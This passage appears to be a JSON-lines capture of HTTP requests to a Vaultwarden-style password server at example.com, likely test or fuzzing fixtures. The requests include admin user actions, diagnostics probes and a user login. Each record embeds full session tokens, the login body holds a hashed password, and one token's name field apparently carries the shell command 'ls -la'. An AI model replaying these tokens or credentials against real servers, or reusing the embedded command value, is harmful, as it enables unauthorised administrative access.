VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=1, i"], "body": "{\"email\":\"dave@example.com\"}"}
|
||||
{"method": "POST", "target": "/admin/users/529697bc-3613-4f2c-8e60-51d23c94896a/invite/resend", "headers": ["Host: example.com", "Content-Length: 0", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=1, i"], "body": ""}
|
||||
{"method": "POST", "target": "/admin/users/59d0f3f3-5d59-4432-a5d9-314ca2cb6729/disable", "headers": ["Host: example.com", "Content-Length: 0", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=1, i"], "body": ""}
|
||||
{"method": "POST", "target": "/admin/users/59d0f3f3-5d59-4432-a5d9-314ca2cb6729/deauth", "headers": ["Host: example.com", "Content-Length: 0", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=1, i"], "body": ""}
|
||||
{"method": "POST", "target": "/admin/users/update_revision", "headers": ["Host: example.com", "Content-Length: 0", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=1, i"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/organizations/overview", "headers": ["Host: example.com", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Sec-Ch-Ua-Platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=0, i"], "body": ""}
|
||||
{"method": "GET", "target": "/vw_static/admin_organizations.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/organizations/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=2"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/diagnostics", "headers": ["Host: example.com", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Sec-Ch-Ua-Platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=0, i"], "body": ""}
|
||||
{"method": "GET", "target": "/vw_static/admin_diagnostics.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/diagnostics", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=2"], "body": ""}
|
||||
{"method": "GET", "target": "/webauthn-connector.html", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/diagnostics", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/does-not-exist", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/diagnostics", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=1, i"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/diagnostics/http?code=404", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/diagnostics", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=1, i"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/diagnostics/http?code=400", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/diagnostics", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=1, i"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/diagnostics/http?code=401", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/diagnostics", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=1, i"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/diagnostics/http?code=403", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/diagnostics", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=1, i"], "body": ""}
|
||||
{"method": "GET", "target": "/notifications/anonymous-hub?token=admin-diagnostics", "headers": ["Host: example.com", "Connection: Upgrade", "Pragma: no-cache", "Cache-Control: no-cache", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Upgrade: websocket", "Origin: https://example.com", "Sec-Websocket-Version: 13", "Accept-Encoding: gzip, deflate, br, zstd", "Sec-Websocket-Key: fHbY0knl/xf6yu7sZB/opQ==", "Sec-Websocket-Extensions: permessage-deflate; client_max_window_bits"], "body": ""}
|
||||
{"method": "POST", "target": "/admin/users/59d0f3f3-5d59-4432-a5d9-314ca2cb6729/enable", "headers": ["Host: example.com", "Content-Length: 0", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxNzUsImV4cCI6MTc5NDI4MzM3NSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.X8DAfbVvvkQWMukqS0hDfUDCGX6uX54JnE5kpMAPzxqLUjPDYg1CA0oxu-Ct1YriUKwNPzfdtskD8ZY1QRKV9YmTwgEDhHxzmOIBK19kYHhJb1XaN2wg0nsNL3XM4TIhhVh3wevpNFyXU58mxuiRAIw2XYv-2kbNSt0LWj4vdhWEC5cOsegqdStuQx0YJSsJyRV7_uR46598sM6IegQCS2T4rtHDISFUnBLllq5-akYkPkijh4s3F-HFE6Nx9R09Tvd9XHSq0yfSR8aQ2gIIonfaRX4aLUSTrkWWcS4UH92MLsx6sb4n3FaNKt8kLi1hS15iMIOkOKzjGImLWpYEtw", "Priority: u=1, i"], "body": ""}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=a3e6b5b0-3483-403e-a2eb-30f01f61d540&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/groups/details", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI0MzAsImV4cCI6MTc5NDI4OTYzMCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImEzZTZiNWIwLTM0ODMtNDAzZS1hMmViLTMwZjAxZjYxZDU0MCIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.SeaayBUmg3uP6mpNK_ZBiPhlg-6rwOkJibxOlmwsiH66Ye3rSAApk0UnSrlfuTcj9GrgU4etzeqbjjCRhO9_jzYxBwPFE_XRCZ8epJ6ChMhcYfmi3TtVeJXGEfroN1kKNdzJjma3hz-t7W-Q0QvkG167v6wgUQSGdQInW2SckjPMoI109kCvCFRcB87xtQlYUYoQrDmBk_AAjI9wRgW8Ar0-Tq0JrcOVO6T2lJiLQ_wQzO_qoxsDoH6Zjug03Gq8-fvWg34QGsvp3_bdd_iIKibheHvV51bUTi0ZlPu4ULuHujHnczoHkH4oo6lif8k4H22As7gaJ-rCOnEHEjqn4Q", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", 